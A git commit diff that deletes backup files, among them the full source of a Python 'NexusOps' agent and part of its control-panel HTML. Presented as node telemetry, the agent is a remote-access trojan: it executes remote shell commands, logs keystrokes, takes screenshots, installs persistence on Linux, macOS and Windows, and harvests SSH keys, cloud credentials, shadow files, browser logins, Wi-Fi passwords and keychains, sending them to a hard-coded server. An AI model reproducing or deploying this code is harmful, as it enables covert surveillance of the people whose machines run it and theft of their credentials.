chore: gitignore backups and stray files

This commit is contained in:
Hermes
2026-09-30 00:48:30 +00:00
parent ec705d9a49
commit 8c31da986f
27 changed files with 4 additions and 13637 deletions

4
.gitignore vendored
View File

@@ -9,3 +9,7 @@ public/bin/
*.spec
data/
.env
server.js.bak*
]
*.pre-ver-*
backups/

View File

@@ -1,862 +0,0 @@
#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""
import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse
last_log_check_time = 0
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
node_tags = ["Default"]
quiet_mode = False # Suppress banner and exec messages when True
def get_process_count():
"""Get real process count cross-platform."""
system = platform.system().lower()
try:
if system == "linux" or system == "darwin":
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
return len(out.splitlines()) - 1 # minus header
elif system == "windows":
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
return len(out.splitlines()) - 1
except:
pass
return 0
def get_ip_address():
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
system = platform.system().lower()
try:
if system == "darwin":
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
for line in out.splitlines():
if 'inet ' in line and '127.0.0.1' not in line:
parts = line.strip().split()
for i, p in enumerate(parts):
if p == 'inet' and i+1 < len(parts):
return parts[i+1]
elif system == "linux":
# Linux: try ip route to find primary interface
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
for part in out.split():
if part.startswith('src '):
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
except:
pass
# Fallback: connect to 8.8.8.8
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
def get_cpu_usage():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/stat', 'r') as f:
fields = [float(column) for column in f.readline().strip().split()[1:]]
idle, total = fields[3], sum(fields)
time.sleep(0.2)
with open('/proc/stat', 'r') as f:
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
idle2, total2 = fields2[3], sum(fields2)
idle_delta = idle2 - idle
total_delta = total2 - total
if total_delta > 0:
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
elif system == "darwin":
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
for line in out.splitlines():
if "CPU usage" in line:
parts = line.split()
user = float(parts[2].replace('%', ''))
sys_c = float(parts[4].replace('%', ''))
return round(user + sys_c, 1)
elif system == "windows":
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
if lines:
return float(lines[0])
except Exception:
pass
return 15.0
def get_memory_usage():
system = platform.system().lower()
try:
if system == "linux":
meminfo = {}
with open('/proc/meminfo', 'r') as f:
for line in f:
parts = line.split(':')
if len(parts) == 2:
key = parts[0].strip()
val = int(parts[1].split()[0])
meminfo[key] = val
total = meminfo.get('MemTotal', 1)
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
return round(((total - free) / total) * 100.0, 1)
elif system == "darwin":
# Use vm_stat for real memory usage on macOS
try:
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
pages = {}
for line in out.splitlines():
if ':' in line:
k, v = line.split(':', 1)
try:
pages[k.strip()] = int(v.strip().rstrip('.'))
except ValueError:
pass
page_size = 16384 # Default macOS page size
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
total_pages = free + used + pages.get('Pages purgeable', 0)
if total_pages > 0:
return round((used / total_pages) * 100.0, 1)
except:
pass
# Fallback: use sysctl for hardware info
try:
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
total_bytes = int(out.strip())
# Use vm_stat pages * page_size for used estimate
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
import re
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
used_bytes = (active + wired) * 16384
if total_bytes > 0:
return round((used_bytes / total_bytes) * 100.0, 1)
except:
pass
return 45.0
elif system == "windows":
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
d = {}
for line in out.splitlines():
if '=' in line:
k, v = line.split('=', 1)
d[k.strip()] = float(v.strip())
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
total = d['TotalVisibleMemorySize']
free = d['FreePhysicalMemory']
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 35.0
def get_disk_usage():
try:
if hasattr(os, 'statvfs'):
st = os.statvfs('/')
total = st.f_blocks * st.f_frsize
free = st.f_bavail * st.f_frsize
if total > 0:
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 40.0
def get_uptime_seconds():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/uptime', 'r') as f:
return int(float(f.readline().split()[0]))
elif system == "darwin":
# macOS: use sysctl to get boot time, compute uptime
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
import re
m = re.search(r'sec\s*=\s*(\d+)', out)
if m:
boot_time = int(m.group(1))
return int(time.time() - boot_time)
except Exception:
pass
return 3600
def collect_recent_system_logs():
system = platform.system().lower()
log_entries = []
try:
if system == "linux":
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
elif system == "windows":
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
except Exception:
pass
return log_entries
def http_post(url, data_dict):
json_bytes = json.dumps(data_dict).encode('utf-8')
req = urllib.request.Request(
url,
data=json_bytes,
headers={
'Content-Type': 'application/json',
'User-Agent': 'NexusOps-Agent/1.0'
}
)
try:
with urllib.request.urlopen(req, timeout=5) as response:
res_text = response.read().decode('utf-8')
return json.loads(res_text)
except Exception as e:
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
return None
def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags
system = platform.system().lower()
if action_type == "raw_command":
return run_shell(payload.get("command", ""))
elif action_type == "manage_service":
service = payload.get("service")
action = payload.get("action")
if system == "linux":
cmd = f"systemctl {action} {service}"
elif system == "windows":
cmd = f"powershell {action}-Service -Name {service}"
else:
cmd = f"launchctl {action} {service}"
return run_shell(cmd)
elif action_type == "list_processes":
if system == "linux":
cmd = "ps aux --sort=-%cpu | head -n 15"
elif system == "darwin":
cmd = "ps aux -r | head -n 15"
else:
cmd = "tasklist"
return run_shell(cmd)
elif action_type == "kill_process":
pid = payload.get("pid")
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
return run_shell(cmd)
elif action_type == "get_logs":
lines = payload.get("lines", 50)
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
return run_shell(cmd)
elif action_type == "network_stats":
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
return run_shell(cmd)
# 10 NEW CROSS-PLATFORM FEATURES:
elif action_type == "get_env_vars":
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
return env_str, 0
elif action_type == "get_disk_partitions":
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
return run_shell(cmd)
elif action_type == "get_network_interfaces":
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
return run_shell(cmd)
elif action_type == "get_active_connections":
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
return run_shell(cmd)
elif action_type == "get_hardware_specs":
if system == "linux":
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
elif system == "windows":
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
else:
cmd = "sysctl -a | grep machdep.cpu"
return run_shell(cmd)
elif action_type == "reboot_system":
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
return run_shell(cmd)
elif action_type == "set_heartbeat_rate":
rate = int(payload.get("interval", 5))
heartbeat_interval = max(2, min(60, rate))
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
elif action_type == "update_tags":
tags_raw = payload.get("tags", "")
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
return f"Node tags updated to: {node_tags}", 0
elif action_type == "search_logs":
pattern = payload.get("pattern", "error")
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
return run_shell(cmd)
elif action_type == "kill_agent":
print("[!] Kill switch received — shutting down agent")
os._exit(0)
elif action_type == "ping_check":
sent_ts = payload.get("timestamp", 0)
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
elif action_type == "download_file":
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
filepath = payload.get("path", "")
if not filepath or not os.path.exists(filepath):
return f"ERROR: file not found: {filepath}", 1
try:
fsize = os.path.getsize(filepath)
if fsize > MAX_EXFIL_SIZE:
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
with open(filepath, 'rb') as f:
raw = f.read()
import base64
b64 = base64.b64encode(raw).decode('utf-8')
# Determine MIME (basic)
ext = os.path.splitext(filepath)[1].lower()
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
mime = mime_map.get(ext, 'application/octet-stream')
filename = os.path.basename(filepath)
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
except Exception as e:
return f"ERROR reading file: {e}", 1
elif action_type == "screenshot":
try:
import base64
ss_path = "/tmp/.nexus-ss.png"
if os.path.exists(ss_path):
os.remove(ss_path)
if system == "linux":
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
if tool == "import":
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif tool == "scrot":
subprocess.run(["scrot", ss_path], timeout=10)
elif tool == "gnome-screenshot":
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
elif tool == "spectacle":
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
break
else:
subprocess.run(["python3", "-c",
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif system == "darwin":
# Try multiple approaches for macOS screenshot
captured = False
# Method 1: direct screencapture (needs Screen Recording TCC permission)
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
r = subprocess.run(["screencapture"] + flags + [ss_path],
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
if not captured:
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
flag_str = " ".join(flags)
r = subprocess.run(["osascript", "-e",
f'do shell script "screencapture {flag_str} {ss_path}"'],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
elif system == "windows":
subprocess.run(["powershell", "-Command",
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
timeout=15)
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
if os.path.exists(win_path):
os.replace(win_path, ss_path)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
with open(ss_path, 'rb') as f:
b64 = base64.b64encode(f.read()).decode('utf-8')
os.remove(ss_path)
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
except Exception as e:
return f"ERROR screenshot: {e}", 1
elif action_type == "update_agent":
new_url = payload.get("url", "")
if not new_url:
return "ERROR: no update URL provided", 1
try:
my_path = os.path.abspath(__file__)
bak = my_path + ".bak"
os.rename(my_path, bak)
urllib.request.urlretrieve(new_url, my_path)
os.chmod(my_path, 0o755)
os.remove(bak)
return "Agent updated successfully. Restarting...", 0
except Exception as e:
# Restore backup
if os.path.exists(bak):
os.rename(bak, my_path)
return f"ERROR update failed: {e}", 1
elif action_type == "ensure_persistence":
results = []
if system == "linux":
# crontab
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
if cron_line.split('@reboot')[1].strip() not in existing:
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added @reboot entry")
else:
results.append("crontab: already present")
except: results.append("crontab: failed")
# .bashrc
try:
bashrc = os.path.expanduser("~/.bashrc")
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
with open(bashrc, 'a+') as f:
f.seek(0)
if 'nexus-agent' not in f.read():
f.write(hook)
results.append("bashrc: hook installed")
except: results.append("bashrc: failed")
# autostart .desktop
try:
ad = os.path.expanduser("~/.config/autostart")
os.makedirs(ad, exist_ok=True)
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
results.append("autostart: .desktop created")
except: results.append("autostart: failed")
elif system == "darwin":
try:
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
os.makedirs(os.path.dirname(plist), exist_ok=True)
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
with open(plist, 'w') as f: f.write(plist_content)
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
results.append("launchd: bootstrapped + kickstarted")
except: results.append("launchd: failed")
# crontab for macOS too
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added")
except: results.append("crontab: failed")
elif system == "windows":
agent_path = os.path.abspath(__file__)
srv = payload.get("server_url", "")
try:
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
subprocess.run(task_cmd, shell=True, timeout=10)
results.append("schtasks: scheduled task created")
except: results.append("schtasks: failed")
try:
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
subprocess.run(reg_cmd, shell=True, timeout=10)
results.append("registry: Run key added")
except: results.append("registry: failed")
return "Persistence results: " + "; ".join(results), 0
elif action_type == "harvest_credentials":
creds = []
home = os.path.expanduser("~")
# Shell history
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
p = os.path.expanduser(hist)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
content = f.read()[-20000:]
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
except: pass
# SSH keys
ssh_dir = os.path.join(home, ".ssh")
if os.path.exists(ssh_dir):
for fn in os.listdir(ssh_dir):
fp = os.path.join(ssh_dir, fn)
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
try:
with open(fp, 'r', errors='ignore') as f:
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
except: pass
# AWS / cloud credentials
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
p = os.path.expanduser(cf)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
except: pass
# /etc/shadow (if root)
if os.path.exists("/etc/shadow"):
try:
with open("/etc/shadow", 'r') as f:
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
except: pass
# Browser cookie/saved-login DBs (common paths)
browser_paths = []
if system == "linux":
browser_paths = [
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
os.path.expanduser("~/.config/chromium/Default/Cookies"),
os.path.expanduser("~/.config/chromium/Default/Login Data"),
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
]
elif system == "darwin":
browser_paths = [
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
]
elif system == "windows":
browser_paths = [
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
]
import glob
for pattern in browser_paths:
for p in glob.glob(pattern):
try:
sz = os.path.getsize(p)
if sz > 0 and sz < 50 * 1024 * 1024:
with open(p, 'rb') as f:
import base64
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
"data": base64.b64encode(f.read()).decode('utf-8')})
except: pass
# Wi-Fi passwords (Linux)
if system == "linux":
try:
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
if wifi.strip() and 'no wifi' not in wifi:
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
except: pass
# macOS Keychain dump
if system == "darwin":
try:
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
if keychain.strip():
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
except: pass
return json.dumps({"type":"harvest_result","credentials":creds}), 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
return f"Unknown action type: {action_type}", 1
def run_shell(cmd_str):
if not quiet_mode:
print(f"[*] Executing command: {cmd_str}")
try:
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
return res.stdout, res.returncode
except Exception as e:
return str(e), 1
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []
try:
from pynput import keyboard, mouse
INPUT_CAPTURE_ENABLED = True
except ImportError:
pass
def _get_active_window_title():
"""Try to get the active window title cross-platform."""
system = platform.system().lower()
try:
if system == "linux":
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
elif system == "windows":
import ctypes
from ctypes import wintypes
user32 = ctypes.windll.user32
hwnd = user32.GetForegroundWindow()
length = user32.GetWindowTextLengthW(hwnd)
buf = ctypes.create_unicode_buffer(length + 1)
user32.GetWindowTextW(hwnd, buf, length + 1)
return buf.value
elif system == "darwin":
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
res = subprocess.run(["osascript", "-e", script],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
except Exception:
pass
return ""
def _record_event(event_type, data):
"""Thread-safe event recording."""
global captured_events
window_title = _get_active_window_title()
captured_events.append({
"timestamp": int(time.time() * 1000),
"eventType": event_type,
"data": data,
"windowTitle": window_title,
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
})
def _on_key_press(key):
try:
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
except Exception:
key_str = str(key)
_record_event("keystroke", {"key": key_str})
def _on_click(x, y, button, pressed):
if pressed:
_record_event("click", {"x": x, "y": y, "button": str(button)})
def _on_scroll(x, y, dx, dy):
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
def start_input_capture():
"""Start keyboard and mouse listeners if pynput is available."""
if not INPUT_CAPTURE_ENABLED:
return False
try:
kb_listener = keyboard.Listener(on_press=_on_key_press)
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
kb_listener.daemon = True
ms_listener.daemon = True
kb_listener.start()
ms_listener.start()
return True
except Exception:
return False
def flush_input_events(server_url, node_id, hostname):
"""Send captured input events to the master server."""
global captured_events
if not captured_events:
return
events_to_send = captured_events[:]
captured_events = []
payload = {
"nodeId": node_id,
"hostname": hostname,
"events": events_to_send
}
http_post(f"{server_url}/api/agent/input-capture", payload)
def main():
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
args = parser.parse_args()
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
global quiet_mode
quiet_mode = args.quiet or args.silent
server_url = args.server.rstrip('/')
hostname = socket.gethostname()
system_os = platform.system()
arch = platform.machine()
ip = get_ip_address()
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
if not quiet_mode:
print("==================================================")
print(" NexusOps Cross-Platform Node Agent ")
print("==================================================")
print(f"Node Hostname : {hostname}")
print(f"Platform : {system_os} ({arch})")
print(f"Local IP : {ip}")
print(f"Server Endpoint: {server_url}")
print("==================================================")
# Register Node
reg_payload = {
"nodeId": node_id,
"hostname": hostname,
"platform": system_os.lower(),
"arch": arch,
"ip": ip,
"osName": f"{system_os} {platform.release()}",
"tags": node_tags
}
if not quiet_mode:
print("[*] Registering node with central endpoint...")
res = http_post(f"{server_url}/api/agent/register", reg_payload)
if res and res.get("success") and not quiet_mode:
print(f"✅ Registered as node ID: {node_id}")
# Start input capture (keystrokes, clicks, scroll)
capture_started = start_input_capture()
if not quiet_mode:
if capture_started:
print("[*] Input capture active (keystrokes + mouse events)")
else:
print("[!] Input capture unavailable (install pynput: pip install pynput)")
last_input_flush = time.time()
backoff = 1 # Tunnel reconnection backoff in seconds
while True:
try:
cpu = get_cpu_usage()
mem = get_memory_usage()
disk = get_disk_usage()
uptime = get_uptime_seconds()
heartbeat_payload = {
"nodeId": node_id,
"cpuUsage": cpu,
"memUsage": mem,
"diskUsage": disk,
"uptime": uptime,
"processCount": get_process_count(),
"tags": node_tags,
"heartbeatInterval": heartbeat_interval
}
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
now = time.time()
if now - last_log_check_time > 15:
logs = collect_recent_system_logs()
if logs:
http_post(f"{server_url}/api/agent/logs", {
"nodeId": node_id,
"hostname": hostname,
"logs": logs
})
last_log_check_time = now
# Flush captured input events every 10 seconds
if now - last_input_flush > 10:
flush_input_events(server_url, node_id, hostname)
last_input_flush = now
if res and "commands" in res and res["commands"]:
for cmd_item in res["commands"]:
cmd_id = cmd_item.get("id")
action_type = cmd_item.get("actionType", "raw_command")
payload = cmd_item.get("payload", {})
if "command" in cmd_item and not payload:
payload["command"] = cmd_item.get("command")
output, exit_code = execute_structured_action(action_type, payload)
# Check for JSON-encoded special result types
special = None
try:
if output.startswith('{'):
special = json.loads(output)
except: pass
if special and special.get("type") == "file_result":
# Route to file-result endpoint
http_post(f"{server_url}/api/agent/file-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"filename": special.get("filename", "unknown"),
"data": special.get("data", ""),
"mime": special.get("mime", "application/octet-stream")
})
elif special and special.get("type") == "harvest_result":
http_post(f"{server_url}/api/agent/harvest-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"credentials": special.get("credentials", [])
})
else:
http_post(f"{server_url}/api/agent/command-result", {
"commandId": cmd_id,
"nodeId": node_id,
"output": output,
"exitCode": exit_code
})
except Exception as e:
if not quiet_mode:
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
time.sleep(backoff)
backoff = min(backoff * 2, 60)
continue
backoff = 1 # Reset on success
time.sleep(heartbeat_interval)
if __name__ == "__main__":
main()

File diff suppressed because it is too large Load Diff

View File

@@ -1,544 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NexusOps — Central Network Node Operations</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Top Navigation Header -->
<header class="top-nav">
<div class="logo-area">
<div class="logo-icon">
<i class="fa-solid fa-network-wired"></i>
</div>
<div>
<h1 class="logo-text">Nexus<span>Ops</span></h1>
<span class="sub-text">Node Control & Telemetry Operations</span>
</div>
</div>
<div class="nav-metrics">
<div class="metric-pill">
<span class="pill-label">Server Endpoint:</span>
<span class="pill-value highlight-endpoint" id="navServerEndpoint">https://agent.thetempleofdoom.com</span>
</div>
<div class="metric-pill">
<span class="status-indicator online"></span>
<span class="pill-label">Status:</span>
<span class="pill-value" id="navConnectionStatus">Connected</span>
</div>
</div>
<div class="action-area" style="display: flex; gap: 0.75rem;">
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Nodes CSV
</a>
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Inputs CSV
</a>
<button class="btn btn-secondary" onclick="openBinderModal()">
<i class="fa-solid fa-file-circle-plus"></i> File Binder
</button>
<button class="btn btn-secondary" onclick="openBulkModal()">
